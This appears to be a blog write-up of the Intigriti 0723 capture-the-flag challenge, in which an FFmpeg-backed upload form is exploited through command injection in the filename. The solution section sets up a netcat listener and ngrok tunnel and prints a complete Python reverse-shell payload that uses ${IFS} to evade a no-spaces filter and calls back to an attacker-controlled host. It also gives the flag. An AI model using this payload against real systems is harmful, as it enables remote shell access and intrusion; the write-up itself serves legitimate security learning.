Welcome,
So, this month we have some flag capturing in the Intigriti July Challenge 0723.
Lets begin!
Introduction
First things first, the challenge description states the following:
- Should retrieve the flag from the web server.
- The flag format is INTIGRITI{.*}.
- Should NOT use another challenge on the intigriti.io domain.
Looking at the homepage, it's an online service that lets you extract audio from your video.
The main challenge page is the Upload Page having just a single file input that accepts only .mp4
files, having a submit button to submit the file.
Upon Extraction, it downloads the audio file extracted_audio.wav
Analyzing The Challenge
The frontend code just has code related to the layouts and styling, so nothing to look there.
That leaves with the only thing to attack, i.e. the file upload.
<form action="/upload" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="video">Select a video file:</label>
<div class="custom-file">
<input type="file" class="custom-file-input" id="video" name="video" accept="video/mp4">
<label class="custom-file-label" for="video">Choose file</label>
</div>
</div>
<div class="text-center">
<button type="submit" class="btn btn-primary">Upload and Extract Audio</button>
</div>
</form>
The form is a simple one, and the input only seems to accept video/mpeg
i.e. MP4
files in this case.
Upon experimenting a bit, we also find that we are not allowed to use spaces in the file name. Looks SUS! Yeah, it's more like a hint.
Now, the end goal is to find the flag by exploiting the file handling.
Solving the Challenge
Before anything else, I went straight up to testing whether I was somehow able to bypass the content type restriction, I tried modifying the filenames to do so, but none of them worked.
Doing so, I figured out the file should necessarily end with .mp4
extension for it to treat the file as a valid file.
Later, while testing I got this error message
It's a FFmpeg error!
So, They use FFmpeg to convert the video to audio.
Connecting it with our past finding, NO spaces allowed in filenames
Connecting the dots, it seemed to be a case of command injection.
So I started modifying the filename to possibly inject the command.
But if spaces are not allowed, how we would inject commands, as it will at least have a space. I asked myself
I literally searched alternate for space in bash
and came up with a Unix Stack Exchange Article that suggested to use ${IFS}
in place of space and it works.
If it seems familiar to you, you might have seen it in the John Hammond's Video titled Filter Evasion in a REVERSE SHELL (no spaces!!)
I just realized the same after getting it from article π
We have dealt with the space problem now it is time for the actual injection.
And that's where I fell into a rabbit hole π³οΈπ initially.
I assumed the command at backend would be something like ffmpeg -i "input_file.mp4" extracted_audio.wav
And thought to go with the SQL injection like approach.
And I came up with the following file name:
c" -loglevel panic;cat flag.txt > extracted_audio.wav;echo ".mp4
It worked locally with my assumption, but not in the real website.
I couldn't make it work. And one of the drawbacks were, I didn't know where the flag.txt was, it could have been current folder or in root. (It was in root btw)
By that time the post reached 100 likes, and we get a hint
Maybe you get errors.. Maybe everything looks normal.. Maybe you just gotta do it blindπ
And yeah, there I realized blindπ
, the essence of this challenge!
I searched it and found its Blind SSRF.
As Port Swigger Explains:
Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.
By the time I also realized it is not supposed to be like SQL Injection and is the Bash Command Substitution
So we got Spaces done, we have a way to inject command, just have to think of a payload to get access to the flag.
And I get into another rabbit hole π
I knew of netcat, and we can get contents of a file using netcat and do reverse shell with it.
I made nc payloads for reverse shells, but it didn't work, then one of my fellow friends suggested, nc might not be available in the environment as it might be sandboxed.
And yeah, finally we are leading to the solution.
So, I searched for reverse shell payloads on Google thinking if nc isn't there something else could be there.
and fortunately Came up with the pentestmonkey reverse shell cheatsheet that has many reverse shell payloads
I thought to try python one, as I'm more comfortable with it. And possibly the web app could also be in python.
I tried it, but still didn't work.
The problem: we can't use ${IFS}
in python code string.
It was a easy fix as the only place where a space is there is the import statement.
And in python we have an alt for normal import statements: the __import__()
function
import os
and os=__import__("os")
are literally the same thing.
But after that got error saving the long filename, for that just made variable names 1 letter.
I renamed the file, uploaded it and voilΓ a reverse shell π
The flag.txt
was in the root of the file system. And it contained the flag.
Solution
Setting it up
Start The Netcat Listener
nc -lvp 1111
l
: listen
v
: verbose
p
: port
Use Ngrok to forward the connection, to get a usable URL that is accessible from the internet.
ngrok tcp 1111
We listen on TCP as that is the type of connection netcat uses to communicate
Note down the forwarding URL's domain and port, we'd make reverse shell connection by embedding them into the payload
here the domain is 0.tcp.in.ngrok.io
alternatively can ping the domain to get the IP instead as it'd be shorter, in this case its 3.6.122.107
and the PORT is 14296
The payload
$(python${IFS}-c${IFS}'k=__import__("socket");l=__import__("subprocess");o=__import__("os");s=k.socket(k.AF_INET,k.SOCK_STREAM);s.connect(("<NGROK_DOMAIN>",<NGROK_PORT>));o.dup2(s.fileno(),0);o.dup2(s.fileno(),1);o.dup2(s.fileno(),2);p=l.call(["sh","-i"]);').mp4
Replacing the <NGROK_DOMAIN>
with the domain and <NGROK_PORT>
would complete the payload.
And once uploaded to the website it would open a reverse shell
We can see the flag.txt
there
now just printing its content gives the flag
INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
the previous flag had a typo
INITGRITI
was there instead ofINTIGRITI
and at the time of writing they fixed it. That's why screenshot flag is different.
I'd like to thank @_kavigihan for making the awesome challenge.
Happy Hacking!
Meet You in the Next post!
Top comments (1)
π₯π₯